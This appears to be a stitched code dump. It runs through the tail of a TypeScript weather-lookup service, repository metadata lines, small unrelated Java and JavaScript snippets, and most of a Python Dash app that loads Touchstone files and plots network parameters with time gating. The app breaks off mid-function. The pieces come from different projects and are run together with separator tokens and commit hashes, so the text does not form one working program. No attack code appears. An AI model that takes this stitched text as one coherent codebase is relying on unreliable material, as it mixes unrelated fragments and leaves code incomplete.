.subscribe((citySearchResult: CitySearchResult[]): void => {
observer.next(citySearchResult);
observer.complete();
}, (error: any) => {
observer.error(error);
});
});
}
getCountriesForAllRegions(): Observable<Country[]> {
return Observable.create((observer: Observer<Country[]>): void => {
this.getRegionList().subscribe((regions: Region[]) => {
const countries: Country[] = [];
if (regions && regions.length > 0) {
forkJoin(regions.map((region: Region) => this.getCountryList(region.ID)))
.subscribe((countryResult: Country[][]) => {
if (countryResult) {
countryResult.forEach((res: Country[]) => {
countries.push(...res);
});
}
}, (error: any) => observer.error(error));
}
});
});
}
getRegionList(): Observable<Region[]> {
return Observable.create((observer: Observer<Region[]>): void => {
const countryListEndpoint = `${environment.ACCUWEATHER_REGION_LIST_API_END_POINT}`;
const options: any = {
params: {
'apikey': environment.ACCUWEATHER_API_KEY,
'language': 'en-us'
}
};
this.http.get(countryListEndpoint, options)
.pipe(map(val => <any>val as Region[]))
.subscribe((regionList: Region[]): void => {
observer.next(regionList);
observer.complete();
}, (error: any) => {
observer.error(error);
});
});
}
}
<file_sep>export interface Temperature {
Metric: Unit;
Imperial: Unit;
}
export interface Unit {
Value: number;
Unit: string;
UnitType: number;
}
<file_sep>import { Region } from './region';
import { Country } from './country';
export interface CitySearchResult {
Version: string;
Key: number;
Type: string;
Rank: number;
LocalizedName: string;
EnglishName: string;
PrimaryPostalCode: string;
Region: Region;
Country: Country;
AdministrativeArea: any;
TimeZone: any;
GeoPosition: any;
IsAlias: boolean;
DataSets: string[];
}
<file_sep>import { WeatherListItem } from './weather-list-item';
// tslint:disable-next-line:no-empty-interface
export interface Country extends WeatherListItem {
}
| da2f9e8264ae61c93de45bbcb0fbea38ac2f0ec0 | [
"TypeScript"
] | 5 | TypeScript | jmusku/weather-finder | 404b9e77affaf11d97e7d2c91eb238d45eb48002 | 70f6ff2b5e776f4d423d04415866f7fa2b615acf |
refs/heads/master | <file_sep>package Service;
import Controller.Controller;
import Module.Module;
public class Service {
public static void main(String[] args) {
// TODO Auto-generated method stub
Module s=new Controller();
s.Mod();
Controller s1 = new Controller();
s1.Stor();
// Controller.Controller();
}
}
| d7f165433a7c35d0252bce72cfcdd52d0de5e56d | [
"Java"
] | 1 | Java | jlg123/wuliangye | aea0edee92f731f0b6ffee393ae9b6e9485e4a2f | d8d6264385c23a9068863cf3799edb0286714929 |
refs/heads/master | <file_sep># imooc-node-js-basic<file_sep>/**
* Created by CoderDream on 2017/6/4.
*/
function pet(words) {
this.words = words;
console.log(this.words);
console.log(this === global);
// console.log(this);
}
pet('...');<file_sep>/**
* Created by CoderDream on 2017/6/4.
*/
var pet = {
words:'...',
speak: function () {
console.log(this.words);
console.log(this === pet);
}
}
pet.speak() | eee6685cffc76fbe1029438b9bf7b2ebf85e6b1d | [
"Markdown",
"JavaScript"
] | 3 | Markdown | CoderDream/imooc-node-js-basic | 7e5bc196abdb1c33fb80e305fd63e5bf441228d3 | 2abf5321c975412f7edc804f9fcb1469e5f3f581 |
refs/heads/master | <repo_name>DanielRafa0204/ct<file_sep>/Seminar 2/src/cts/Vehicul.java
package cts;
public abstract class Vehicul {
private final int MAX_INT = 9999999;
private int viteza;
private String denumire;
public Vehicul(String denumire, int viteza) {
this.denumire = denumire;
this.viteza = viteza;
}
public abstract void deplasare();
public int getViteza() {
return viteza;
}
public String getDenumire() {
return denumire;
}
} | 8189b30b14215809e109ea811ea34b6295a7e7e8 | [
"Java"
] | 1 | Java | DanielRafa0204/ct | de620efc732eebdbc58feefe40b671cced08bfd3 | 1d56f7029e884ec20bb833e8763cf5ca89ab4445 |
refs/heads/master | <file_sep><?php
namespace Admin\Extend\AdminPuller\Extension;
use Admin\Core\ConfigExtensionProvider;
/**
* Class Config
* @package Admin\Extend\AdminPuller\Extension
*/
class Config extends ConfigExtensionProvider {
protected $scripts = [
'vendor/puller/puller.js'
];
}
| d74f318ee33f0d8eb01aec9a01992feb8b0443df | [
"PHP"
] | 1 | PHP | bfg-s/admin-puller | c3fae14e6f70d6013a9a85da46f90685f3b08c26 | b38a396f897af5a1891de2e8afc401c41c706318 |
refs/heads/master | <file_sep>var mongoose = require('mongoose');
var config = require('../../Config.js');
var Schema = mongoose.Schema;
mongoose.Promise = global.Promise;
mongoose.connect(config.dbUrl, {
useNewUrlParser: true
}, (err) => {
if (err) console.log("Error: Cannot connect to mlab")
});
var dogDescription = new Schema({
dogBreed: {
type: String,
required: false
},
description: {
type: String,
required: false
}
});
const dog = mongoose.model('dogDescription', dogDescription, "dogDescription");
module.exports = dog;<file_sep>'use strict';
var mongoose = require('mongoose');
var dogDescription = mongoose.model('dogDescription');
exports.processRequest = function (req, res) {
if (req.body.queryResult.action == "dogBreed") {
getDogDescription(req, res)
}
};
function getDogDescription(req, res) {
let breedSearched = req.body.queryResult &&
req.body.parameters.queryResult &&
req.body.parameters.breedSearched.queryResult ?
req.body.parameters.breedSearched.queryResult : 'Unknown';
dogDescription.findOne({
dogBreed: {
$regex: new RegExp(breedSearched, "i")
}
}, function (err, breedExists) {
if (err) {
return res.json({
speech: 'Something went wrong!',
fulfillmentText: 'Something went wrong!',
source: 'dogDescription'
});
}
if (breedExists) {
return res.json({
speech: breedExists.description,
fulfillmentText: breedExists.description,
source: 'dogDescription'
});
} else {
return res.json({
speech: 'I currently have no information about this breed',
fulfillmentText: 'I currently have information about this breed',
source: 'dogDescription'
});
}
});
}
<file_sep>module.exports = {
dbUrl: "mongodb://raeannevillanueva:<EMAIL>:45147/dogbreed"
} | 8ee267303db75751d6ef312124a727f6da2228e2 | [
"JavaScript"
] | 3 | JavaScript | RaeanneVillanueva/DogChatbot | 8af985ee97c568cb50d6f63aceef5dc4cac902aa | ed280a25bfa4a450a8a919f239457135cd764911 |
refs/heads/master | <repo_name>kominthanhtut/hawk.android<file_sep>/app/src/main/java/hawk_catcher/HawkExceptionCatcher.java
package hawk_catcher;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.Serializable;
import static java.lang.Thread.sleep;
/**
* Created by AksCorp on 22.10.2017.
*/
public class HawkExceptionCatcher implements Thread.UncaughtExceptionHandler {
private Thread.UncaughtExceptionHandler oldHandler;
private boolean isActive = false;
private String HAWK_TOKEN = "";
private boolean isPostStackEnable = true;
Context context;
/**
* @param token - hawk initialization project token
*/
public HawkExceptionCatcher(Context context, String token) {
HAWK_TOKEN = token;
this.context = context;
}
/**
* Set enable stack trace post
*
* @param isEnable
*/
public void setEnableStackPost(boolean isEnable)
{
isPostStackEnable = isEnable;
}
/**
* Start listen uncaught exceptions
*
* @throws Exception
*/
public void start() throws Exception {
try {
oldHandler = Thread.getDefaultUncaughtExceptionHandler();
} catch (Exception e) {
throw new Exception("HawkExceptionCatcher start error. " + e.toString());
}
Thread.setDefaultUncaughtExceptionHandler(this);
isActive = true;
}
/**
* Stop listen uncaught exceptions and set uncaught exception handler by default
*
* @throws Exception
*/
public void finish() throws Exception {
if (!isActive())
throw new Exception("HawkExceptionCatcher not running");
isActive = false;
Thread.setDefaultUncaughtExceptionHandler(oldHandler);
}
/**
* Return current catcher status
*
* @return
*/
public boolean isActive() {
return isActive;
}
/**
* Action when exception catch
*
* @param thread
* @param throwable
*/
@Override
public void uncaughtException(Thread thread, Throwable throwable) {
startExceptionPostService(formingJsonExceptionInfo(throwable).toString());
oldHandler.uncaughtException(thread, throwable);
}
/**
* Post any exception to server
*
* @param throwable
*/
public void log(Throwable throwable)
{
startExceptionPostService(formingJsonExceptionInfo(throwable).toString());
}
/**
* Forming stack trace
*
* @param throwable
* @return
*/
private String getStackTrace(Throwable throwable)
{
if(!isPostStackEnable)
return "none";
String result = "";
StackTraceElement[] stackTraceElements = throwable.getStackTrace();
for(int i=0;i<stackTraceElements.length;i++)
result += stackTraceElements[i].toString() + "\n";
return result;
}
/**
* Create json with exception and device information
*
* @param throwable
* @return
*/
private JSONObject formingJsonExceptionInfo(Throwable throwable) {
JSONObject jsonParam = new JSONObject();
if(throwable.getCause() != null)
throwable = throwable.getCause();
try {
jsonParam.put("token", <PASSWORD>);
jsonParam.put("message", throwable.toString());
jsonParam.put("stack", getStackTrace(throwable));
jsonParam.put("brand", Build.BRAND);
jsonParam.put("device", Build.DEVICE);
jsonParam.put("model", Build.MODEL);
jsonParam.put("product", Build.PRODUCT);
jsonParam.put("SDK", Build.VERSION.SDK_INT);
jsonParam.put("release", Build.VERSION.RELEASE);
} catch (JSONException e) {
e.printStackTrace();
}
Log.d("Post json", jsonParam.toString());
return jsonParam;
}
/**
* Start service with post data
*
* @param exceptionInfoJSON
*/
private void startExceptionPostService(String exceptionInfoJSON) {
try {
Bundle extras = new Bundle();
extras.putString("exceptionInfoJSON", exceptionInfoJSON);
Intent intent = new Intent(context, PostExceptionService.class);
intent.putExtras(extras);
context.startService(intent);
}
catch (Exception e)
{
Log.e("Hawk catcher", e.toString());
}
}
}<file_sep>/app/src/main/java/hawk_catcher/PostExceptionService.java
package hawk_catcher;
import android.app.IntentService;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.DataOutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
/**
* Created by AksCorp on 29.10.2017.
*/
public class PostExceptionService extends IntentService {
private final String EXCEPTION_POST_URL = "http://10.0.2.2:3000/catcher/javaAndroid";
private String exceptionInfoJSON = "";
/**
* Constructor with class name
*/
public PostExceptionService() {
super("PostExceptionService");
}
/**
* Post exception information to hawk server
*
* @param exceptionInfoJSON
*/
private void postException(final String exceptionInfoJSON) {
try {
URL url = new URL(EXCEPTION_POST_URL);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
conn.setDoOutput(true);
conn.setDoInput(true);
//Log.i("JSON", jsonParam.toString());
DataOutputStream os = new DataOutputStream(conn.getOutputStream());
os.writeBytes(exceptionInfoJSON);
os.flush();
os.close();
Log.i("STATUS", String.valueOf(conn.getResponseCode()));
Log.i("MSG", conn.getResponseMessage());
conn.disconnect();
} catch (Exception e) {
Log.e("Service info", e.toString());
}
}
/**
* Get post data and start post data to hawk server
*
* @param intent
*/
@Override
protected void onHandleIntent(Intent intent) {
Bundle extras = intent.getExtras();
exceptionInfoJSON = extras.getString("exceptionInfoJSON");
postException(exceptionInfoJSON);
}
}
<file_sep>/README.md
# Hawk android catcher
### Сборщик ошибок
Эта библиотека обеспечивает сбор непроверяемых ошибок во время работы приложения и отправляет их в ваш https://hawk.so личный кабинет.
Так же существует возможность отправлять отловленные в **try-catch** ошибки
-----
Подключение
------------
Добавить в Ваш класс **Application** следующий код
```java
public class UseSample extends Application {
HawkExceptionCatcher exceptionCatcher;
public void defineExceptionCather()
{
exceptionCatcher = new HawkExceptionCatcher(this,"0927e8cc-f3f0-4ce4-aa27-916f0774af51");
try {
exceptionCatcher.start();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onCreate() {
super.onCreate();
defineExceptionCather();
}
}
```
Входные параметры
> **Context** - текущий context приложения
> **Token** - уникальный ключ авторизации
Примеры вывода:
```json
{
"token":"<PASSWORD>",
"message":"java.lang.ArithmeticException: divide by zero",
"stack":"java.lang.RuntimeException: Unable to start activity ComponentInfo{com.hawkandroidcatcher.akscorp.hawkandroidcatcher\/com.hawkandroidcatcher.akscorp.hawkandroidcatcher.SampleMainActivity}: java.lang.ArithmeticException: divide by zero",
"brand":"Android",
"device":"generic_x86",
"model":"Android SDK built for x86",
"product":"sdk_google_phone_x86",
"SDK":"22",
"release":"5.1.1",
"incremental":"4212452"
}
```
### Параметры вывода
> **message** - название самой ошибки
> **stack** - стек ошибки
> **brand** - код поставщика android устройства
> **device** - имя устройства в рамках индустриального дизайна(?)
> **model** - общеизвестное имя android устройства
> **product** - общее наименование продукции
> **SDK** - версия SDK
> **release** - версия андроида
> **incremental** -
## Пример работы
Отлавливание **UncheckedException**
```java
void myTask() {
int d = 10 / 0;
}
...
myTask();
```
Отловленная ошибка будет соотвествовать формату **JSON** выше
Отправка отловленных исключений
```java
void myTask() {
try {
int d = 10 / 0;
} catch(ArithmeticException e) {
exceptionCatcher.log(e);
//Данный метод формирует исключение в JSON и отправляет его
}
}
...
myTask();
```
При этом ошибки, отловленные в **try-catch** без использования функции **log()** отправлены не будут
```java
void myTask() {
try {
int d = 10 / 0;
} catch(ArithmeticException e) {
e.printStackTrace();
//ошибка отправлена не будет
}
}
...
myTask();
```
| 754ca8e9621148d60a808ccc9b8cd0d6e1726f76 | [
"Markdown",
"Java"
] | 3 | Java | kominthanhtut/hawk.android | a7940fa7ec4dd7d757e302c0522b75a5d7b6b72f | 10de94efceed393f76472b95a0e735568c735698 |
refs/heads/master | <file_sep>import { observable, action } from 'mobx';
import LeftTableModel from 'app/models/LeftTableModel';
import RightTableModel from 'app/models/RightTableModel';
import _ from 'lodash';
export default class TablesStore {
constructor(left: LeftTableModel, right: RightTableModel) {
this.left = left;
this.right = right;
}
@observable public left: LeftTableModel;
@observable public right: RightTableModel;
@action throwRight = (): void => {
const item = this.left.removeSelected();
if (item) {
this.right.add(item);
}
}
@action throwLeft = (): void => {
const items = this.right.removeChecked();
_.forEach(items, this.left.add);
}
}
<file_sep>type TextWithHTML = string;
export default interface IDataItem {
id: number;
artNo: string;
name: TextWithHTML;
description: TextWithHTML;
}
<file_sep>import { observable, computed, ObservableMap, action } from 'mobx';
import IDataItem from 'app/IDataItem';
import _ from 'lodash';
export default abstract class AbstractTableModel {
constructor(items: IDataItem[]) {
this._items = observable.map(_.map(items, (item) => [item.id, item]));
}
@computed public get items() {
const itemsResult = Array.from(this._items.values());
return itemsResult;
}
@computed public get count() {
return this._items.size;
}
public getItemById(id: number) {
return this._items.get(id);
}
@action public add = (item: IDataItem) => {
this._items.set(item.id, item);
};
@action public delete = (id: number) => {
return this._items.delete(id);
};
private _items: ObservableMap<number, IDataItem>;
}
<file_sep>import { observable, computed, action } from 'mobx';
import _ from 'lodash';
import IDataItem from '../IDataItem';
import AbstractTableModel from './AbstractTableModel';
export default class RightTableModel extends AbstractTableModel {
public checked = observable.set<IDataItem>();
@computed public get checkedCount() {
return this.checked.size;
}
@action public check = (id: number, value: boolean) => {
const item = this.getItemById(id);
if (value) {
this.checked.add(item);
} else {
this.checked.delete(item);
}
};
@action public removeChecked = () => {
const removedItems: IDataItem[] = [];
this.checked.forEach((checkedItem) => {
if (this.delete(checkedItem.id)) {
removedItems.push(checkedItem);
}
});
this.checked.clear();
return removedItems;
};
@action public checkAll = () => {
this.items.forEach((item) => this.checked.add(item));
};
@action public uncheckAll = () => {
this.checked.clear();
};
}
<file_sep>import { observable, computed, action } from 'mobx';
import _ from 'lodash';
import AbstractTableModel from './AbstractTableModel';
export default class LeftTableModel extends AbstractTableModel {
@computed public get isFirstSelected() {
return this.count && this.selectedIndex === 0;
}
@computed public get isLastSelected() {
return this.selectedIndex + 1 === this.count;
}
@computed public get isAnySelected() {
return this.count > 0;
}
@computed public get selectedId() {
const { items } = this;
const selectedItem = items[this.selectedIndex];
return selectedItem && selectedItem.id;
}
@action public removeSelected = () => {
const { selected, isLastSelected } = this;
if (this.delete(selected.id)) {
if (isLastSelected) {
this.selectedIndex = 0;
}
return selected;
}
return null;
};
@action public selectNext = () => {
this.selectedIndex++;
};
@action public selectPrevious = () => {
this.selectedIndex--;
};
@observable private selectedIndex = 0;
@computed private get selected() {
return this.items[this.selectedIndex];
}
}
<file_sep>import {
STORE_ROUTER,
STORE_RIGHT_TABLE,
STORE_LEFT_TABLE
} from '../constants/stores';
import { History } from 'history';
import { RouterStore } from './RouterStore';
import TablesStore from './TablesStore';
import LeftTableModel from 'app/models/LeftTableModel';
import {
LEFT_TABLE_MOCK_DATA,
RIGHT_TABLE_MOCK_DATA
} from 'app/stores/mock-data';
import RightTableModel from 'app/models/RightTableModel';
import { STORE_TABLES } from 'app/constants/stores';
export function createStores(history: History) {
const leftTableStore = new LeftTableModel(LEFT_TABLE_MOCK_DATA);
const rightTableStore = new RightTableModel(RIGHT_TABLE_MOCK_DATA);
const tablesStore = new TablesStore(leftTableStore, rightTableStore);
const routerStore = new RouterStore(history);
return {
[STORE_TABLES]: tablesStore,
[STORE_LEFT_TABLE]: leftTableStore,
[STORE_RIGHT_TABLE]: rightTableStore,
[STORE_ROUTER]: routerStore
};
}
<file_sep>export const STORE_TABLES = 'STORE_TABLES';
export const STORE_LEFT_TABLE = 'STORE_LEFT_TABLE';
export const STORE_RIGHT_TABLE = 'STORE_RIGHT_TABLE';
export const STORE_ROUTER = 'STORE_ROUTER';
<file_sep>import IDataItem from '../IDataItem';
const DATA_ITEM = {
name:
'Процессор Intel Core i9-9900K Coffee Lake (3600MHz,LGA1151 v2, L3 16386Kb)',
description:
'8-ядерный процессор, Socket LGA1151 v2, частота3600 МГц, объем кэша L2/L3: 2048 КБ/16386 КБ,ядро Coffee Lake, техпроцесс 130, 14 нм,интегрированное графическое ядро, встроенный...'
};
const MOCK_DATA: IDataItem[] = [];
for (let i = 1; i < 10; i++) {
MOCK_DATA.push({
id: i,
...DATA_ITEM,
artNo: i + '9999'
});
}
export default MOCK_DATA;
export const LEFT_TABLE_MOCK_DATA = MOCK_DATA.slice(0, 4);
export const RIGHT_TABLE_MOCK_DATA = MOCK_DATA.slice(5, 8);
| 44168bfa5071b19c0bcd1023190e0e403df5f1cc | [
"TypeScript"
] | 8 | TypeScript | Greg-Bush/react-mobx-typescript-test-playing | 8842e2aa1ddf91bc95ae81b6eec1bd209f7d349c | b80f58c740d3e583acd4a2e31c2940d77c51ac52 |
refs/heads/master | <file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Mar 26 14:59:14 2019
@author: ander906
"""
import base64
import io
import os
import json
import re
import dash
import dash_table
import numpy as np
import matplotlib.pyplot as plt
import skrf as rf
import plotly.graph_objs as go
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output, State
from flask_caching import Cache
from uuid import uuid4
from app import app
try:
cache = Cache(app.server, config={
'CACHE_TYPE': 'redis',
'CACHE_REDIS_URL': os.environ.get('REDIS_URL', ''),
'CACHE_THRESHOLD': 20,
'CACHE_DEFAULT_TIMEOUT': 1200
})
except RuntimeError:
cache = Cache(app.server, config={
'CACHE_TYPE': 'filesystem',
'CACHE_DIR': os.path.join(os.getcwd(), 'cache'),
'CACHE_THRESHOLD': 20,
'CACHE_DEFAULT_TIMEOUT': 1200
})
write_snp = False
col_header_test = ["m{}".format(i) for i in range(4)]
layout = html.Div([
dcc.Tabs(id="tabs-example", value='data-import', children=[
dcc.Tab(label='Data Import', value='data-import'),
dcc.Tab(label='SnP Viewer', value='snp-viewer'),
]),
html.Div([
html.Div(
[
html.H4("Loaded Data:"),
html.Hr(),
dcc.Loading(id="loading-upload",
children=[html.Div(id='data-uploading')],
type="default"),
html.Div(
dash_table.DataTable(
id='uploaded-data-table',
style_cell={
'whiteSpace': 'normal',
'textAlign': 'left'
},
style_table={
'table-layout': 'fixed',
'width': '100%',
},
css=[{
'selector': '.dash-cell div.dash-cell-value',
'rule': 'display: inline; white-space: inherit; overflow: inherit; text-overflow: inherit;'
}],
columns=[{"name": "Loaded Networks",
"id": "data"}],
editable=False,
row_selectable="multi",
selected_rows=[],
), style={'overflowX': 'auto'}
),
], className='three columns', style={'word-wrap': 'break-word'},
),
html.Div(id='tabs-content', className='nine columns'), ], className='row'
),
html.Div(id='data-uploading', style={'display': 'none'}),
html.Div(id='uuid-hidden-div',
children=str(uuid4()),
style={'display': 'none'})
])
@app.callback(Output('tabs-content', 'children'),
[Input('tabs-example', 'value')])
def render_content(tab):
if tab == 'data-import':
return html.Div([dcc.Upload(
id='upload-data',
children=html.Div([
'Drag and Drop or ',
html.A('Select a Touchstone File'),
' (~20 MB max).'
]),
style={
'width': '100%',
'height': '60px',
'lineHeight': '60px',
'borderWidth': '1px',
'borderStyle': 'dashed',
'borderRadius': '5px',
'textAlign': 'center',
'margin': '10px'
},
# Allow multiple files to be uploaded
multiple=True
),
])
if tab == 'snp-viewer':
return html.Div([
html.Div([
html.Div([
html.Button('Plot', id='button'),
html.Details(id='parameter-control-div', open=True, children=[
html.Summary('Parameter Selection'),
html.Label('Parameter Type'),
dcc.RadioItems(
id='parm-select',
options=[
{'label': 'S Parameters', 'value': 'S'},
{'label': 'Y Parameters', 'value': 'Y'},
{'label': 'Z Parameters', 'value': 'Z'}
# {'label': 'ABCD Parameters', 'value': 'A'}
],
value='S'),
html.Label('Plot Axes'),
dcc.RadioItems(
id='axes-select',
options=[
{'label': 'Magnitude/Phase', 'value': 'MAG'},
{'label': 'Real/Imaginary', 'value': 'RI'},
{'label': 'Magnitude/Time Domain', 'value': 'TIME'},
{'label': 'Bode', 'value': 'BODE'}
],
value='MAG')]),
html.Details(id='port-table-div', children=[
html.Summary('Port Selection'),
html.Div(
dash_table.DataTable(
id='port-table',
css=[{
'selector': '.dash-cell div.dash-cell-value',
'rule': 'display: inline; white-space: inherit; overflow: inherit; text-overflow: inherit;'
}],
columns=[{"name": "Parameters",
"id": "Parameters"}],
editable=False,
row_selectable="multi",
selected_rows=[],
),
),
# html.Div(
# dash_table.DataTable(
# id='port-table-test',
# css=[{
# 'selector': '.dash-cell div.dash-cell-value',
# 'rule': 'display: inline; white-space: inherit; overflow: inherit; text-overflow: inherit;'
# }],
# style_table={'overflowX': 'scroll'},
# columns=[{"name": i,
# "id": i,
# 'presentation': 'dropdown'}
# for i in col_header_test],
# data=[{i:j for i in col_header_test} for j in ['Plot']*len(col_header_test)],
# dropdown={
# j: {
# 'options': [
# {'label': i, 'value': i}
# for i in ['Plot','Off']
# ]
# } for j in col_header_test},
# style_data_conditional=[
# {
# 'if': {
# 'column_id': 'm0',
# 'filter_query': '{m0} contains "Plot"'
# },
# 'backgroundColor': '#38af2c3',
# }],
# # style_data_conditional=[
# # {
# # 'if': {
# # 'column_id': i,
# # 'filter_query': '{{{}}} contains "l"'.format(i)
# # },
# # 'backgroundColor': '#38af2c3',
# # } for i in col_header_test],
# editable=True,
# selected_rows=[],
# ),
# )
]
),
html.Div(id='plot-options'),
# html.Hr(),
], className="three columns"),
html.Div([
html.Div(id='output-plot'),
dcc.Loading(id="loading-plot",
children=[html.Div(id='output-plot')],
type="default")
], className="nine columns"),
], className="row"),
html.Div(id='currently-plotted',
style={'display': 'none'})
])
############################################
# Todo: Remove these functions once skrf v15.0 released \
# (functions implemented natively in https://github.com/scikit-rf/scikit-rf/pull/279).
class TouchstoneEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, np.ndarray):
return obj.tolist()
if isinstance(obj, np.complex):
return np.real(obj), np.imag(obj) # split into [real, im]
if isinstance(obj, rf.Frequency):
return obj.f.tolist()
return json.JSONEncoder.default(self, obj)
def to_json(network):
return json.dumps(network, cls=TouchstoneEncoder)
def from_json(obj):
ntwk = rf.Network(f_unit='hz')
ntwk.name = obj['name']
ntwk.comments = obj['comments']
ntwk.port_names = obj['port_names']
ntwk.z0 = np.array(obj['_z0'])[..., 0] + np.array(obj['_z0'])[..., 1] * 1j # recreate complex numbers
ntwk.s = np.array(obj['_s'])[..., 0] + np.array(obj['_s'])[..., 1] * 1j
ntwk.f = np.array(obj['_frequency'])
ntwk.variables = obj['variables']
return ntwk
################################################
def load_touchstone(content_string: str, filename: str) -> rf.Network:
"""
Loads s-parameter data into a skrf network object from an uploaded encoded str.
Parameters
----------
content_string : str
Encoded string containing touchstone data
filename : str
The filename of the touchstone file.
Returns
-------
d : skrf.Network
A skrf Network object holding s-parameter data from the touchstone file.
"""
class dataIO(io.BytesIO):
"""Class used to trick skrf into thinking it is reading a file object."""
_filename: str
def __init__(self, data, filename):
super(dataIO, self).__init__(data)
self.name = filename
@property
def name(self):
"""Filename of SnP data."""
return self._name
@name.setter
def name(self, value):
assert isinstance(value, str)
self._name = value
data = dataIO(content_string, filename)
d = rf.Network()
d.read_touchstone(data)
return d
@app.callback([Output('port-table-div', 'open'),
Output('port-table', 'data')],
# [Input('tabs-example', 'value')],
[Input('button', 'n_clicks')], # "derived_virtual_data"
[State('uploaded-data-table', "derived_virtual_data"),
State('uploaded-data-table', "derived_virtual_selected_rows")])
def update_port_table(_, data, selected_rows):
if not selected_rows:
return False, []
else:
maxports = 0
for r in selected_rows:
d = data[r]
try:
nport = int(re.search(r'(\d*)-Port Network', d['data']).group(1))
except AttributeError:
print("Number of ports not found in print(skrf.Network()).")
return False, []
if maxports < nport:
maxports = nport
ports = []
for i in range(maxports):
for j in range(maxports):
ports.append({"Parameters": '{}{}'.format(i + 1, j + 1)})
return True, ports
@app.callback([Output('uploaded-data-table', 'data'),
Output('data-uploading', 'children')],
[Input('upload-data', 'contents')],
[State('upload-data', 'filename'),
State('upload-data', 'last_modified'),
State('uuid-hidden-div', 'children')])
def update_s_output(list_of_contents, list_of_names, list_of_dates, uuid):
if list_of_contents is not None:
ch = []
ports = []
d = {}
d2 = []
content_type = []
content_string = []
for i, c in enumerate(list_of_contents):
ct, cs = c.split(',')
content_type.append(ct)
content_string.append(cs)
for c, n in zip(content_string, list_of_names):
decoded = base64.b64decode(c)
try:
data = load_touchstone(decoded, n)
except Exception as e:
print(e)
return html.Div(['There was an error processing this file.']), None
d2.append({'data': data.__str__()})
if write_snp:
d[n] = data.write_touchstone(return_string=True)
else:
d[n] = data.__dict__
cache.set(uuid, json.dumps(d, cls=TouchstoneEncoder))
return d2, '1'
@app.callback(Output('plot-options', 'children'),
[Input('currently-plotted', 'children')],
[State('graph1', "figure"),
State('graph2', "figure")])
def generate_options(plotted_axes_format, fig1, fig2):
if plotted_axes_format == 'MAG':
return html.Div()
elif plotted_axes_format == 'RI':
return html.Div()
elif plotted_axes_format == 'TIME':
fig1_x = fig1['data'][0]['x']
fig2_x = fig2['data'][0]['x']
return html.Div(
html.Details([
html.Summary('Timegating Options'),
html.Button(id='timegate-button', children='Time Gate Visible Traces'),
html.H6("Frequency Gate"),
dcc.RangeSlider(
id='freq-gate-slider',
min=min(fig1_x),
max=max(fig1_x),
step=(max(fig1_x) - min(fig1_x)) / len(fig1_x),
value=[min(fig1_x), max(fig1_x)]
),
html.Div(id='freq-gate-slider-value'),
html.Div('\n'),
html.H6("Time Gate"),
dcc.RangeSlider(
id='time-gate-slider',
min=min(fig2_x),
max=max(fig2_x),
step=(max(fig2_x) - min(fig2_x)) / len(fig2_x),
value=[min(fig2_x), max(fig2_x)]
),
html.Div(id='time-gate-slider-value'),
html.Div('\n'),
])
)
elif plotted_axes_format == 'BODE':
return html.Div()
else:
return html.Div()
for slider in ['freq-gate-slider', 'time-gate-slider']:
@app.callback(
Output(f'{slider}-value', 'children'),
[Input(slider, "value")]
)
def update_slider_values(value):
return f'{value[0]:0.2g} to {value[1]:0.2g}.'
@app.callback(
[Output('graph1', "figure"),
Output('graph2', "figure")],
[Input('timegate-button', 'n_clicks')],
[State('graph1', "figure"),
State('graph2', "figure"),
State('freq-gate-slider', "value"),
State('time-gate-slider', 'value')
])
def time_gate_plot(_, fig1, fig2, fgate, tgate):
ftracelist = []
ttracelist = []
for d in fig1['data']:
ntwk = rf.Network(f=np.asfarray(d['x']), f_unit='hz', name=d['name'],
s=np.asfarray(d['y']), z0=50)
# print(ntwk)
# print(ntwk.time_gate(start=tgate[0], stop=tgate[1]).s_mag)
ftracelist.append(
go.Scatter(x=ntwk[f"{fgate[0]}-{fgate[1]}"].f,
y=ntwk[f"{fgate[0]}-{fgate[1]}"].time_gate(
start=tgate[0] * 1e9,
stop=tgate[1] * 1e9).s_mag.flatten(),
mode='lines',
name=f"{d['name']} Gated ({fgate[0]:0.2g}-{fgate[1]:0.2g} Hz," +
f" {tgate[0]:0.2g}-{tgate[1]:0.2g} sec)"
)
)
# [f"{fgate[0]}-{fgate[1]}"]
ttracelist.append(
go.Scatter(x=ntwk[f"{fgate[0]}-{fgate[1]}"].frequency.t,
y=ntwk[f"{fgate[0]}-{fgate[1]}"].time_gate(
start=tgate[0] * 1e9,
stop=tgate[1] * 1e9).s_time_mag.flatten(),
mode='lines',
name=f"{d['name']} Gated ({fgate[0]:0.2g}-{fgate[1]:0.2g} Hz)"
)
)
[fig1['data'].append(t) for t in ftracelist]
[fig2['data'].append(t) for t in ttracelist]
return fig1, fig2
@app.callback(
[Output('output-plot', "children"),
Output('currently-plotted', 'children')],
[Input('button', 'n_clicks')],
# Input('nsmooth_input', 'n_submit'), Input('nsmooth_input', 'n_blur')],
[State('parm-select', 'value'),
State('axes-select', 'value'),
State('currently-plotted', 'children'),
State('uploaded-data-table', "derived_virtual_selected_rows"),
State('uploaded-data-table', "derived_virtual_data"),
State('port-table', "derived_virtual_selected_rows"),
State('port-table', "derived_virtual_data"),
State('uuid-hidden-div', 'children'),
])
@cache.memoize()
def update_graph(_, parm, axes_format, plotted_axes_format, selected_ntwk_rows,
selected_ntwk_data,
selected_rows, selected_data, uuid):
plotted_axes_format_output = 'None'
if not selected_ntwk_rows:
return (html.Div(children='Please Upload and Select Data to Plot.'),
plotted_axes_format_output)
elif not selected_rows:
return (html.Div(children='Please Select Ports to Plot.'),
plotted_axes_format_output)
else:
if axes_format == plotted_axes_format:
plotted_axes_format_output = dash.no_update
else:
plotted_axes_format_output = axes_format
try:
s_data = json.loads(cache.get(uuid))
except TypeError:
return (html.Div(children='Data could not be retrieved from cache. '
'Your session may have timed out.'
'Please re-upload your data and try again.'),
plotted_axes_format_output)
data = {}
for r in selected_ntwk_rows:
m = re.search(r"Network: '(.*)', ", selected_ntwk_data[r]['data'])
if m:
for key, val in s_data.items():
if re.search(m.group(1), key):
data[key] = val
# json_data = s_data
traces1 = []
traces2 = []
layout1 = []
layout2 = []
